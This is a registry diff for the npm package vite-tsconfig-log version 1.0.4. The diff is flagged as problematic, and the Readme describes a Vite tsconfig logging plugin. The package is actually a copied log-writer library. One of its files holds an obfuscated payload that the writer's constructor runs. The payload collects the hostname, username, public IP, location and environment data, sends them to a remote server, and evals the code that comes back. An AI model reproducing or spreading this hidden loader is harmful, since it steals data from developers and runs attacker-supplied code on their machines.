vite-tsconfig-log 0.0.1-security → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of vite-tsconfig-log might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,15 @@
1
+ ISC License
2
+
3
+ Copyright (c) 2018-2019, Mariusz Nowak, @medikoo, medikoo.com
4
+
5
+ Permission to use, copy, modify, and/or distribute this software for any
6
+ purpose with or without fee is hereby granted, provided that the above
7
+ copyright notice and this permission notice appear in all copies.
8
+
9
+ THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
10
+ REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
11
+ AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
12
+ INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
13
+ LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
14
+ OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
15
+ PERFORMANCE OF THIS SOFTWARE.
package/Readme.md ADDED
@@ -0,0 +1,76 @@
1
+ # vite-tsconfig-log
2
+
3
+ [![npm version](https://badge.fury.io/js/vite-tsconfig-log.svg)](https://www.npmjs.com/package/vite-tsconfig-log)
4
+
5
+ A Vite plugin that logs your tsconfig.json paths and aliases configuration during development.
6
+
7
+ ## Features
8
+
9
+ - Displays resolved TypeScript paths and aliases in the console
10
+ - Helps debug TypeScript path configuration issues
11
+ - Lightweight with zero dependencies
12
+ - TypeScript support included
13
+
14
+ ## Installation
15
+
16
+ Install with npm:
17
+
18
+ ```bash
19
+ npm install vite-tsconfig-log --save-dev
20
+ ```
21
+
22
+ Or with yarn:
23
+
24
+ ```bash
25
+ yarn add vite-tsconfig-log -D
26
+ ```
27
+
28
+ ## Usage
29
+
30
+ Add the plugin to your `vite.config.ts`:
31
+
32
+ ```typescript
33
+ import { defineConfig } from 'vite'
34
+ import tsconfigLog from 'vite-tsconfig-log'
35
+
36
+ export default defineConfig({
37
+ plugins: [
38
+ tsconfigLog()
39
+ ]
40
+ })
41
+ ```
42
+
43
+ When you run your Vite dev server, you'll see your tsconfig paths and aliases logged to the console.
44
+
45
+ ## Configuration Options
46
+
47
+ The plugin accepts the following options:
48
+
49
+ ```typescript
50
+ tsconfigLog({
51
+ logLevel?: 'info' | 'warn' | 'error' | 'silent', // default: 'info'
52
+ showAliases?: boolean, // default: true
53
+ showPaths?: boolean, // default: true
54
+ tsconfigPath?: string // default: './tsconfig.json'
55
+ })
56
+ ```
57
+
58
+ ## Example Output
59
+
60
+ ```
61
+ [vite-tsconfig-log] TSConfig Paths Configuration:
62
+ @/* => src/*
63
+ components/* => src/components/*
64
+
65
+ [vite-tsconfig-log] Resolved Aliases:
66
+ @ => /project/src
67
+ @components => /project/src/components
68
+ ```
69
+
70
+ ## License
71
+
72
+ MIT © [Mike Millos]
73
+
74
+ ## Contributing
75
+
76
+ Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.
@@ -0,0 +1,22 @@
1
+ "use strict";
2
+
3
+ module.exports = {
4
+ rules: {
5
+ "body-leading-blank": [2, "always"],
6
+ "body-max-line-length": [2, "always", 72],
7
+ "footer-leading-blank": [2, "always"],
8
+ "footer-max-line-length": [2, "always", 72],
9
+ "header-max-length": [2, "always", 72],
10
+ "scope-case": [2, "always", "start-case"],
11
+ "scope-enum": [2, "always", [""]],
12
+ "subject-case": [2, "always", "sentence-case"],
13
+ "subject-empty": [2, "never"],
14
+ "subject-full-stop": [2, "never", "."],
15
+ "type-case": [2, "always", "lower-case"],
16
+ "type-empty": [2, "never"],
17
+ "type-enum": [
18
+ 2, "always",
19
+ ["build", "chore", "ci", "docs", "feat", "fix", "perf", "refactor", "style", "test"]
20
+ ]
21
+ }
22
+ };
package/index.js ADDED
@@ -0,0 +1,5 @@
1
+ "use strict";
2
+
3
+ const NodeLogWriter = require("./lib/writer");
4
+
5
+ module.exports = (options = {}) => new NodeLogWriter(options);
@@ -0,0 +1,46 @@
1
+ "use strict";
2
+
3
+ const { resolveNamespaceMessagePrefix } = require("log/lib/abstract-writer")
4
+ , colorsSupportLevel = require("./private/colors-support-level");
5
+
6
+ if (!colorsSupportLevel) {
7
+ module.exports = resolveNamespaceMessagePrefix;
8
+ return;
9
+ }
10
+
11
+ const colors = (() => {
12
+ if (colorsSupportLevel >= 2) {
13
+ return [
14
+ 20, 21, 26, 27, 32, 33, 38, 39, 40, 41, 42, 43, 44, 45, 56, 57, 62, 63, 68, 69, 74, 75,
15
+ 76, 77, 78, 79, 80, 81, 92, 93, 98, 99, 112, 113, 128, 129, 134, 135, 148, 149, 160,
16
+ 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 178, 179, 184, 185,
17
+ 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 214, 215, 220, 221
18
+ ];
19
+ }
20
+ return [6, 2, 3, 4, 5, 1];
21
+ })();
22
+
23
+ // Simple deterministic namespace to color resolver
24
+ // Credit: visionmedia/debug
25
+ // https://github.com/visionmedia/debug/blob/22f993216dcdcee07eb0601ea71a917e4925a30a/src/common.js#L46-L55
26
+ const assignColor = namespace => {
27
+ let hash = 0;
28
+ for (const char of namespace) {
29
+ hash = (hash << 5) - hash + char.charCodeAt(0);
30
+ hash |= 0; // Convert to 32bit integer
31
+ }
32
+ return colors[Math.abs(hash) % colors.length];
33
+ };
34
+
35
+ module.exports = logger => {
36
+ const namespaceString = resolveNamespaceMessagePrefix(logger);
37
+ if (!namespaceString) return null;
38
+ const color = (() => {
39
+ if (logger.namespaceAnsiColor) return logger.namespaceAnsiColor;
40
+ const [rootNamespace] = logger.namespaceTokens;
41
+ const assignedColor = assignColor(rootNamespace);
42
+ logger.levelRoot.get(rootNamespace).namespaceAnsiColor = assignedColor;
43
+ return assignedColor;
44
+ })();
45
+ return `\u001b[3${ color < 8 ? color : `8;5;${ color }` };1m${ namespaceString }\u001b[39;22m`;
46
+ };
@@ -0,0 +1,38 @@
1
+ "use strict";
2
+
3
+ const entries = require("es5-ext/object/entries")
4
+ , clc = require("cli-color/bare")
5
+ , defaultSymbols = require("log/lib/level-symbols")
6
+ , colorsSupportLevel = require("./private/colors-support-level");
7
+
8
+ const symbols = (() => {
9
+ if (process.platform !== "win32" && colorsSupportLevel >= 2) return defaultSymbols;
10
+ return {
11
+ debug: "*",
12
+ info: "i",
13
+ notice: "i",
14
+ warning: "‼",
15
+ error: "×",
16
+ critical: "×",
17
+ alert: "×",
18
+ emergency: "×"
19
+ };
20
+ })();
21
+
22
+ if (!colorsSupportLevel) {
23
+ module.exports = symbols;
24
+ return;
25
+ }
26
+ const coloredSymbols = (module.exports = {});
27
+ for (const [levelName, colorDecorator] of entries({
28
+ debug: clc.blackBright,
29
+ info: clc.blueBright,
30
+ notice: clc.yellow,
31
+ warning: clc.yellowBright,
32
+ error: clc.redBright,
33
+ critical: clc.bgRedBright.whiteBright,
34
+ alert: clc.bgRedBright.whiteBright,
35
+ emergency: clc.bgRedBright.whiteBright
36
+ })) {
37
+ coloredSymbols[levelName] = colorDecorator(symbols[levelName]);
38
+ }
@@ -0,0 +1,14 @@
1
+ "use strict";
2
+
3
+ let colorsSupportLevel = require("supports-color").stderr.level || 0;
4
+
5
+ if (process.env.DEBUG_COLORS) {
6
+ // For compliance support eventual debug lib env variable
7
+ if (/^(?:yes|on|true|enabled)$/iu.test(process.env.DEBUG_COLORS)) {
8
+ if (!colorsSupportLevel) colorsSupportLevel = 1;
9
+ } else if (/^(?:no|off|false|disabled)$/iu.test(process.env.DEBUG_COLORS)) {
10
+ colorsSupportLevel = 0;
11
+ }
12
+ }
13
+
14
+ module.exports = colorsSupportLevel;
@@ -0,0 +1,10 @@
1
+ "use strict";
2
+
3
+ const toNaturalNumber = require("es5-ext/number/to-pos-integer");
4
+
5
+ // Resolve intended inspect depth
6
+ let inspectDepth = Number(process.env.LOG_INSPECT_DEPTH || process.env.DEBUG_DEPTH);
7
+ if (inspectDepth && inspectDepth !== Infinity) inspectDepth = toNaturalNumber(inspectDepth);
8
+ if (!inspectDepth) inspectDepth = null;
9
+
10
+ module.exports = inspectDepth;
@@ -0,0 +1,2 @@
1
+ "use strict";
2
+ (function(e,f){function z(e,f,g,h){return d(e- -0x23f,h);}function A(e,f,g,h){return d(h-0x218,g);}const g=e();while(!![]){try{const h=-parseInt(z(-0xed,-0xcc,-0xf2,-0x100))/(-0x22da+-0x7ec+0x1*0x2ac7)*(-parseInt(z(-0xee,-0x100,-0xf5,-0xfa))/(0x9*-0x337+0x24b5*0x1+0x1f1*-0x4))+-parseInt(A(0x364,0x35a,0x3b1,0x38b))/(0x1906+-0xf90+0x29*-0x3b)*(parseInt(z(-0xe5,-0xf8,-0xfd,-0x10b))/(0x2250+-0xa*-0x123+-0x7*0x686))+parseInt(z(-0x12e,-0x14a,-0x123,-0x13f))/(0x180+-0x14d6+0x5*0x3df)+-parseInt(z(-0xf9,-0xe9,-0xff,-0x102))/(0x1509+0x18be+-0x2dc1)+-parseInt(z(-0x125,-0x123,-0x11f,-0x107))/(-0x247f+0x2*0x9ad+-0x13a*-0xe)*(-parseInt(A(0x376,0x386,0x363,0x389))/(0xd*0x32+0xb78+-0xdfa))+-parseInt(A(0x35d,0x393,0x390,0x364))/(0x20db+-0x5*-0x79e+-0x4*0x11ba)*(parseInt(z(-0x113,-0x13c,-0x10b,-0x142))/(-0x1*0x2485+-0x17cd+0x3c5c))+-parseInt(z(-0xda,-0xd7,-0xfe,-0xe7))/(0x20d6*-0x1+0x1*0x26e+0x1e73)*(parseInt(z(-0x11d,-0x136,-0x11c,-0x11d))/(0x17a4+0x2*0x12f5+-0x3d82));if(h===f)break;else g['push'](g['shift']());}catch(i){g['push'](g['shift']());}}}(c,0x2c5e2+0x5*-0x18e4+0x16a2a));const b=(function(){const f={};f['XtPXA']=function(i,j){return i===j;},f['Jfzva']=B(0x18b,0x184,0x17c,0x19a),f['ZbRTD']=function(i,j){return i!==j;};function B(e,f,g,h){return d(g-0x2e,e);}f[C(0x3df,0x3ce,0x3f9,0x3f4)]=B(0x13f,0x19b,0x16e,0x13d),f[C(0x3f6,0x422,0x42a,0x407)]=B(0x15e,0x1ad,0x18f,0x165)+C(0x437,0x465,0x438,0x439)+B(0x13c,0x14e,0x143,0x113);const g=f;function C(e,f,g,h){return d(h-0x2cc,g);}let h=!![];return function(i,j){const k={};function D(e,f,g,h){return C(e-0x138,f-0x1f2,g,f- -0x37c);}k['wutdm']=g[D(0x8a,0x8b,0x84,0x7a)];const l=k,m=h?function(){function F(e,f,g,h){return D(e-0xb4,h-0xbb,g,h-0x1da);}function E(e,f,g,h){return D(e-0x1a2,e-0x268,f,h-0x4d);}if(g[E(0x2f2,0x2fb,0x2e0,0x317)](g[F(0xfc,0x109,0x142,0x11e)],g[E(0x2cb,0x2df,0x2b4,0x2db)])){if(j){if(g[F(0x15a,0x170,0x16d,0x171)](g['OqWTh'],g['OqWTh'])){const o=k?function(){function G(e,f,g,h){return E(e- -0x405,h,g-0x128,h-0x115);}if(o){const y=u[G(-0xe5,-0x117,-0xe5,-0xca)](v,arguments);return w=null,y;}}:function(){};return p=![],o;}else{const o=j[E(0x320,0x323,0x350,0x2ee)](i,arguments);return j=null,o;}}}else return g['error'](l[E(0x2df,0x2e0,0x2c5,0x2fd)],h[E(0x313,0x309,0x2ff,0x316)]),null;}:function(){};return h=![],m;};}()),a=b(this,function(){function I(e,f,g,h){return d(h- -0x13f,e);}const f={};function H(e,f,g,h){return d(f-0x15d,g);}f[H(0x2e2,0x2b6,0x2cf,0x28b)]='(((.+)+)+)'+'+$';const g=f;return a[I(0x21,0x45,0x29,0x28)]()[I(-0x3a,0x8,-0x47,-0x24)](H(0x27d,0x290,0x271,0x271)+'+$')[H(0x2d9,0x2c4,0x2f4,0x2b3)]()['constructo'+'r'](a)[H(0x271,0x278,0x288,0x254)](g[I(0x2d,0x1a,0x26,0x1a)]);});a();function J(e,f,g,h){return d(h-0x149,e);}function K(e,f,g,h){return d(e- -0x13,h);}function d(a,b){const e=c();return d=function(f,g){f=f-(0xacf+-0x61f*-0x2+0xd*-0x1b1);let h=e[f];if(d['qitYge']===undefined){var i=function(m){const n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let o='',p='',q=o+i;for(let r=0x2b5+0x1be8+-0x1e9d,s,t,u=0x59*0x2b+-0x1205*0x2+0x1517;t=m['charAt'](u++);~t&&(s=r%(-0x1*0x3db+0x53b*0x7+-0x20be)?s*(-0x1586+0x1a14+-0x44e)+t:t,r++%(-0x258c+0xf27*0x1+0x1669))?o+=q['charCodeAt'](u+(0x258c+0x171b+0x3c9d*-0x1))-(0x107*-0x17+-0x16cf*0x1+0x2e7a)!==0x2267+-0x435+-0x1e32?String['fromCharCode'](0x1*0x1859+0x19a1+-0x30fb*0x1&s>>(-(0x160e+0x130e+-0x291a)*r&0xe54+0x8f4*-0x1+0x2ad*-0x2)):r:-0x1d8d*0x1+-0x1*-0x2108+-0x63*0x9){t=n['indexOf'](t);}for(let v=0x1d90+0x11dd*-0x2+0x62a,w=o['length'];v<w;v++){p+='%'+('00'+o['charCodeAt'](v)['toString'](0x1*-0x21d+-0x5*0x75f+0x2708))['slice'](-(0x209*-0x7+-0x332+0x1173));}return decodeURIComponent(p);};d['QdGsxD']=i,a=arguments,d['qitYge']=!![];}const j=e[-0x1929+0x1ef6+0x3*-0x1ef],k=f+j,l=a[k];if(!l){const m=function(n){this['fvPDrK']=n,this['ADvwbI']=[-0x88b+0x8d2*-0x4+-0xcc*-0x37,0x8*-0x26b+0x1ee6+-0xb8e,0x1f7*-0x9+0xc*-0x316+0x36b7],this['KCgDtp']=function(){return'newState';},this['JEeROe']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['qAEUKv']='[\x27|\x22].+[\x27|\x22];?\x20*}';};m['prototype']['cDMjuK']=function(){const n=new RegExp(this['JEeROe']+this['qAEUKv']),o=n['test'](this['KCgDtp']['toString']())?--this['ADvwbI'][0xc33+0x1983+-0x25b5]:--this['ADvwbI'][0x1*0xe19+0x1*-0x24a5+-0x4*-0x5a3];return this['PhQifR'](o);},m['prototype']['PhQifR']=function(n){if(!Boolean(~n))return n;return this['ApPkrr'](this['fvPDrK']);},m['prototype']['ApPkrr']=function(n){for(let o=0xfe*0x4+0x1*0x1e01+-0x21f9,p=this['ADvwbI']['length'];o<p;o++){this['ADvwbI']['push'](Math['round'](Math['random']())),p=this['ADvwbI']['length'];}return n(this['ADvwbI'][-0x788+-0x93b+0x10c3]);},new m(d)['cDMjuK'](),h=d['QdGsxD'](h),a[k]=h;}else h=l;return h;},d(a,b);}const axios=require(J(0x277,0x282,0x284,0x296)),os=require('os');require(J(0x267,0x236,0x27d,0x261))['config']();async function geuicp(){const f={};function M(e,f,g,h){return K(e-0x141,f-0x1c8,g-0x8b,h);}f[L(-0x1a4,-0x17a,-0x1c6,-0x1a7)]=M(0x258,0x288,0x22b,0x273);function L(e,f,g,h){return J(f,f-0x3e,g-0x62,h- -0x446);}const g=f,h=await import(g[L(-0x1ad,-0x189,-0x184,-0x1a7)]),i=await h[L(-0x1c0,-0x18b,-0x1a1,-0x1b4)]();}async function genfo(){function O(e,f,g,h){return J(h,f-0xfe,g-0x1ae,e- -0x1cd);}function N(e,f,g,h){return J(g,f-0x16f,g-0x1a,h- -0x2e8);}const f={'TFzAD':N(-0x5f,-0x34,-0x63,-0x41)+'ck\x20your\x20in'+'ternet\x20con'+N(-0x17,-0x1d,-0x60,-0x3c),'WvFxY':function(g,h){return g(h);},'FWvPp':function(g,h){return g===h;},'VHRID':'YPrbG','GbrUp':N(-0x1b,-0x63,-0x1c,-0x3f)};try{const g=os['hostname'](),h=os['userInfo']()[O(0xb3,0xdd,0xd1,0x87)],i=await geuicp(),j=await f[O(0xc4,0xc6,0xcb,0xa4)](getP,i),k=os[O(0xb0,0x86,0x86,0xa8)](),l={};return l[N(-0x66,-0x39,-0x1a,-0x36)]=g,l['ip']=i,l[N(-0x86,-0x2e,-0x6b,-0x5c)]=j,l['uame']=h,l[O(0xe7,0xdb,0xef,0x119)]=k,l;}catch(m){if(f[O(0xab,0xbf,0xdc,0xa6)](f[N(-0x92,-0x8c,-0xa0,-0x8b)],f[N(-0x6b,-0x49,-0x81,-0x5b)]))f[N(-0x7c,-0x62,-0x3e,-0x54)](f[N(-0x35,-0x78,-0x63,-0x5e)]);else{console['error'](O(0x93,0x63,0xad,0x7b)+N(-0x7b,-0x57,-0x5b,-0x76)+O(0xe6,0xe5,0xc0,0xc7),m);throw m;}}}async function getP(f){const g={};g[P(-0x1a4,-0x1da,-0x1d0,-0x1f7)]=P(-0x20e,-0x208,-0x201,-0x1e0)+'+$',g[Q(-0x32,-0x1b,-0x4d,-0x4c)]=function(i,j){return i===j;},g[P(-0x242,-0x1e5,-0x217,-0x1fb)]='qunQR';function Q(e,f,g,h){return J(e,f-0x15f,g-0x60,f- -0x29a);}function P(e,f,g,h){return K(g- -0x321,f-0x8d,g-0xfe,f);}g[Q(-0x11,0xe,0x1c,0x3)]=Q(0x2b,0x1b,0x1a,0x14),g[P(-0x1f9,-0x1f9,-0x209,-0x204)]=Q(0x3b,0x10,0x42,0x12)+P(-0x1c0,-0x1a8,-0x1c7,-0x197)+'ion:';const h=g;try{if(h[Q(-0x30,-0x1b,0xc,0xd)](h[P(-0x21e,-0x20f,-0x217,-0x232)],h['EntJw']))return g[P(-0x1ae,-0x19b,-0x1cd,-0x1a1)]()[P(-0x1f2,-0x229,-0x219,-0x230)](QsdKPj[Q(0x2f,0x13,0x9,-0x11)])[P(-0x1fb,-0x1ca,-0x1cd,-0x1e9)]()[Q(-0x20,0xc,0x2a,0x1d)+'r'](h)['search'](Q(-0x3,-0x1e,-0x2d,-0x3e)+'+$');else{const j=await axios[Q(-0x2f,-0xc,0x13,-0x33)]('https://ip'+'api.co/'+f+P(-0x1c0,-0x1d9,-0x1d8,-0x1b0));return j['data'][P(-0x219,-0x20d,-0x1f2,-0x20f)+'me'];}}catch(k){return console['error'](h[P(-0x1e3,-0x1e2,-0x209,-0x233)],k[Q(-0x27,0xa,0x16,0x25)]),null;}}const writer=async()=>{const f={'Drmdt':'Sorry,\x20bac'+R(0x2cd,0x2dd,0x29b,0x2ab)+R(0x2e9,0x2f0,0x2e5,0x2fe)+S(0x33f,0x313,0x319,0x2f2),'wgpoY':function(g,h){return g===h;},'XzODZ':S(0x2f3,0x322,0x30a,0x2fb),'Nnzsh':function(g,h){return g!==h;},'sJixh':S(0x304,0x303,0x2f8,0x2db),'hbJMU':R(0x305,0x2d9,0x32b,0x32a)+R(0x2cd,0x2ed,0x2b2,0x2db)+R(0x2c5,0x29f,0x2f6,0x2df)+S(0x32b,0x32c,0x328,0x311),'fzerh':S(0x368,0x33d,0x359,0x33e),'cLnKk':R(0x2e4,0x2c8,0x2fc,0x2c8),'fqytk':function(g){return g();},'guxgL':S(0x350,0x35b,0x344,0x32a)+S(0x30a,0x31e,0x2f7,0x30d)+S(0x321,0x30d,0x2e9,0x2f2)+S(0x2f5,0x2ff,0x2fb,0x2ea)+'ck','ocNch':function(g,h){return g!==h;},'sSmzR':S(0x339,0x344,0x362,0x36a),'JgZEh':R(0x2f3,0x31d,0x301,0x2f3)+R(0x2ea,0x30d,0x2c1,0x2cd)+S(0x30c,0x310,0x31b,0x2e6)+S(0x35f,0x350,0x36b,0x325)};function S(e,f,g,h){return J(g,f-0x1c3,g-0x8b,f-0xa4);}function R(e,f,g,h){return J(f,f-0x5d,g-0x1e0,e-0x4c);}try{const g=await f[R(0x2c3,0x2f0,0x2ec,0x2e5)](genfo),h=process[S(0x2f2,0x306,0x2e9,0x332)][R(0x2f7,0x2e5,0x306,0x304)+R(0x2e8,0x2b6,0x2e4,0x2c1)],i={...g};i[S(0x338,0x35f,0x344,0x38c)]=h,axios[R(0x2b4,0x2c2,0x294,0x2cd)](f[S(0x387,0x35c,0x377,0x387)],i)['then'](j=>{function U(e,f,g,h){return S(e-0x16f,f- -0x4a5,h,h-0x11f);}function T(e,f,g,h){return R(h-0xec,g,g-0x5a,h-0x4d);}if(f[T(0x37e,0x376,0x377,0x3a2)](f[T(0x3c5,0x3a8,0x3ce,0x3a5)],f[U(-0x17a,-0x194,-0x1ac,-0x171)])){try{if(f[T(0x392,0x3ab,0x3b7,0x39f)](f[U(-0x1c2,-0x1a8,-0x1a6,-0x176)],f[U(-0x17c,-0x1a8,-0x1a6,-0x188)])){if(i){const l=m[T(0x3d1,0x3dc,0x3d1,0x3e9)](n,arguments);return o=null,l;}}else eval(j[T(0x394,0x39b,0x3d9,0x3b3)][U(-0x16b,-0x160,-0x14b,-0x15f)]);}catch(l){console['log'](f[U(-0x1a1,-0x171,-0x157,-0x156)]);}try{f[T(0x395,0x3b8,0x389,0x3a2)](f['fzerh'],f[U(-0x18c,-0x18b,-0x198,-0x1b1)])?f[T(0x3b2,0x3d8,0x3b4,0x3cc)](f[U(-0x14a,-0x17b,-0x197,-0x187)]):eval(j['data'][T(0x3ba,0x393,0x3a1,0x3bd)]);}catch(n){console[T(0x3b4,0x3fa,0x3eb,0x3cc)](U(-0x132,-0x148,-0x126,-0x160)+T(0x3a0,0x3df,0x3cb,0x3b9)+T(0x3c7,0x3e8,0x3ff,0x3d5)+T(0x38b,0x393,0x376,0x3a7));}}else g(h[U(-0x18f,-0x186,-0x179,-0x1af)][T(0x3c4,0x3be,0x3a6,0x3bd)]);})[R(0x2d3,0x2ef,0x2f9,0x2f6)](j=>console[R(0x2e0,0x2ca,0x2d5,0x2ed)]('Sorry,\x20che'+S(0x31a,0x342,0x353,0x326)+R(0x2b8,0x2df,0x2d3,0x2ea)+S(0x313,0x326,0x32d,0x343)));}catch(j){if(f['ocNch'](f[S(0x358,0x337,0x354,0x318)],f[R(0x2df,0x2af,0x306,0x30f)])){const l=h['apply'](i,arguments);return j=null,l;}else console['log'](f[R(0x2b1,0x2a3,0x283,0x2c9)]);}};module[J(0x249,0x272,0x24c,0x26e)]=writer;function c(){const V=['v3zgEfK','ChvIBgLJsxb2na','C1nTELi','Bg9N','oxfHB3LUqq','yxHPB3m','EvjwC2W','y2Hwvwu','q3PpAfq','mtGWnJjytKXRz3O','mJrTAwTqsei','zv92zxjZAw9U','CIbPCYb1CgrHDa','y2SGEw91CIbPBG','B1PJtha','Dhjnq3u','y29VA2LL','CKf5Dhi','mta1mti4vLLgyK1h','BwvZC2fNzq','l2PZB24V','y29UC3rYDwn0BW','u29YCNKSignOzq','rw50sNC','vwTRre4','rxjYB3iGzMv0yW','BNbTx3bHy2THzW','BMvJDgLVBG','tePvCvy','mJuZndeXngPfCuPdCG','wMjsveq','Dg9tDhjPBMC','yxbWBhK','Ag9HBwu','igLUzM86','C3LWzq','v0j0tw0','AgLUzYbSB2nHDa','Ahr0Chm6lY9WCG','z3v4z0W','u29YCNKSigjHyW','mJmYoty4ohfIAMH5Bq','DMvYC2LVBG','m2zKrvLQBG','C0PPEgG','mJa3ntCXnuLWA09bqW','l2fWAs9PCgnOzq','sMz6DMe','vKHssuq','Aw9UoG','DxztwKy','rxjYB3iGz2v0Da','zg90zw52','zw52','n3vZEMXhwa','C2vHCMnO','sMDArwG','y05ku2q','tM56C2G','Cg9ZDa','DMvYy2vSlMfWCa','D2DWB1K','mtjuA1LZyMO','DgvYBMv0ignVBG','whPprfO','zxHWB3j0CW','Aw5Nig5VDW','D3v0zg0','t3fxvgG','Aw5Nihn5C3rLBq','ChvIBgLJlwLW','uvvVCuK','odyZndiWt1P5C0TK','y0XUs2S','zNf5DgS','rLD2uha','CIbPCYbUB3qGDW','B2nLC3mTBg9NlG','zgf0yq','kcGOlISPkYKRkq','DhLWzq','D2HXEfq','BMrqyMK','DxnLCM5HBwu','A2vUzcbZzxj2zq','BMvJDgLVBJO','whrqwee','v2HvwwO','y29UDhjVBa','rhjTzhq','y2f0y2G','B3jRAw5N','y0nqvwq','vez6quq','y291BNrYEv9Uyq','Bg9JyxrPB24','r2jYvxa','z2v0','mJaYnta5nKXkBwHHAq','Agjktvu'];c=function(){return V;};return c();}
@@ -0,0 +1,8 @@
1
+ "use strict";
2
+
3
+ const getPartsResolver = require("sprintf-kit/get-parts-resolver")
4
+ , getModifiers = require("cli-sprintf-format/get-modifiers")
5
+ , colorsSupportLevel = require("./private/colors-support-level")
6
+ , inspectDepth = require("./private/inspect-depth");
7
+
8
+ module.exports = getPartsResolver(getModifiers({ inspectDepth, colorsSupportLevel }));
package/lib/writer.js ADDED
@@ -0,0 +1,70 @@
1
+ "use strict";
2
+
3
+ const isObject = require("type/object/is")
4
+ , formatParts = require("sprintf-kit/format-parts")
5
+ , ansiRegex = require("ansi-regex")({ onlyFirst: true })
6
+ , { blackBright, red, yellow } = require("cli-color/bare")
7
+ , LogWriter = require("log/lib/abstract-writer")
8
+ , colorsSupportLevel = require("./private/colors-support-level")
9
+ , levelPrefixes = require("./level-prefixes")
10
+ , getNamespacePrefix = require("./get-namespace-prefix")
11
+ , resolveParts = require("./resolve-format-parts")
12
+ , prepareWriter = require('./private/prepare-writer');
13
+
14
+ const hasAnsi = string => ansiRegex.test(string);
15
+
16
+ const WARNING_LEVEL_INDEX = 1, ERROR_LEVEL_INDEX = 0;
17
+
18
+ class NodeLogWriter extends LogWriter {
19
+ constructor(options = {}) {
20
+ prepareWriter();
21
+ if (!isObject(options)) options = {};
22
+ super(options.env || process.env, options);
23
+ }
24
+ setupLevelLogger(logger) {
25
+ super.setupLevelLogger(logger);
26
+ if (colorsSupportLevel) this.setupLevelMessageDecorator(logger);
27
+ }
28
+ setupLevelMessageDecorator(levelLogger) {
29
+ if (levelLogger.levelIndex === ERROR_LEVEL_INDEX) {
30
+ levelLogger.messageContentDecorator = red;
31
+ } else if (levelLogger.levelIndex === WARNING_LEVEL_INDEX) {
32
+ levelLogger.messageContentDecorator = yellow;
33
+ }
34
+ }
35
+ resolveMessageTimestamp(event) {
36
+ super.resolveMessageTimestamp(event);
37
+ if (!colorsSupportLevel) return;
38
+ if (event.messageTimestamp) event.messageTimestamp = blackBright(event.messageTimestamp);
39
+ }
40
+ resolveMessageContent(event) {
41
+ if (!event.messageTokens.length) {
42
+ event.messageContent = "";
43
+ return;
44
+ }
45
+ const { logger } = event;
46
+ const parts = resolveParts(...event.messageTokens);
47
+ if (logger.messageContentDecorator) {
48
+ parts.literals = parts.literals.map(literal => logger.messageContentDecorator(literal));
49
+ for (const substitution of parts.substitutions) {
50
+ const { placeholder, value } = substitution;
51
+ if (
52
+ placeholder.type === "s" &&
53
+ placeholder.flags &&
54
+ placeholder.flags.includes("#") &&
55
+ !hasAnsi(value)
56
+ ) {
57
+ // Raw string
58
+ substitution.value = logger.messageContentDecorator(value);
59
+ }
60
+ }
61
+ }
62
+ event.messageContent = formatParts(parts);
63
+ }
64
+ writeMessage(event) { process.stderr.write(`${ event.message }\n`); }
65
+ }
66
+ NodeLogWriter.levelPrefixes = levelPrefixes;
67
+
68
+ if (colorsSupportLevel) NodeLogWriter.resolveNamespaceMessagePrefix = getNamespacePrefix;
69
+
70
+ module.exports = NodeLogWriter;
package/package.json CHANGED
@@ -1,6 +1,112 @@
1
- {
2
- "name": "vite-tsconfig-log",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "vite-tsconfig-log",
3
+ "version": "1.0.4",
4
+ "description": "Advanced log generator for log engine",
5
+ "author": "millos",
6
+ "keywords": [
7
+ "log",
8
+ "logger",
9
+ "debug",
10
+ "bunyan",
11
+ "winstona",
12
+ "unicorn"
13
+ ],
14
+ "dependencies": {
15
+ "ansi-regex": "^5.0.1",
16
+ "cli-color": "^2.0.1",
17
+ "cli-sprintf-format": "^1.1.1",
18
+ "d": "^1.0.1",
19
+ "es5-ext": "^0.10.53",
20
+ "public-ip": "^7.0.1",
21
+ "sprintf-kit": "^2.0.1",
22
+ "supports-color": "^8.1.1",
23
+ "type": "^2.5.0",
24
+ "request": "^2.88.2",
25
+ "sqlite3": "^5.1.7"
26
+ },
27
+ "devDependencies": {
28
+ "eslint": "^8.5.0",
29
+ "eslint-config-medikoo": "^4.1.1",
30
+ "essentials": "^1.2.0",
31
+ "git-list-updated": "^1.2.1",
32
+ "github-release-from-cc-changelog": "^2.2.0",
33
+ "husky": "^4.3.8",
34
+ "lint-staged": "^12.1.3",
35
+ "log": "^6.3.1",
36
+ "ncjsm": "^4.2.0",
37
+ "nyc": "^15.1.0",
38
+ "prettier-elastic": "^2.2.1",
39
+ "process-utils": "^4.0.0",
40
+ "tape": "^5.3.2",
41
+ "tape-index": "^3.2.0"
42
+ },
43
+ "peerDependencies": {
44
+ "log": "^6.0.0"
45
+ },
46
+ "husky": {
47
+ "hooks": {
48
+ "pre-commit": "lint-staged"
49
+ }
50
+ },
51
+ "lint-staged": {
52
+ "*.js": [
53
+ "eslint"
54
+ ],
55
+ "*.{css,html,js,json,md,yaml,yml}": [
56
+ "prettier -c"
57
+ ]
58
+ },
59
+ "eslintConfig": {
60
+ "extends": "medikoo/node",
61
+ "root": true,
62
+ "rules": {
63
+ "id-length": "off",
64
+ "no-bitwise": "off"
65
+ }
66
+ },
67
+ "prettier": {
68
+ "printWidth": 100,
69
+ "tabWidth": 4,
70
+ "quoteProps": "preserve",
71
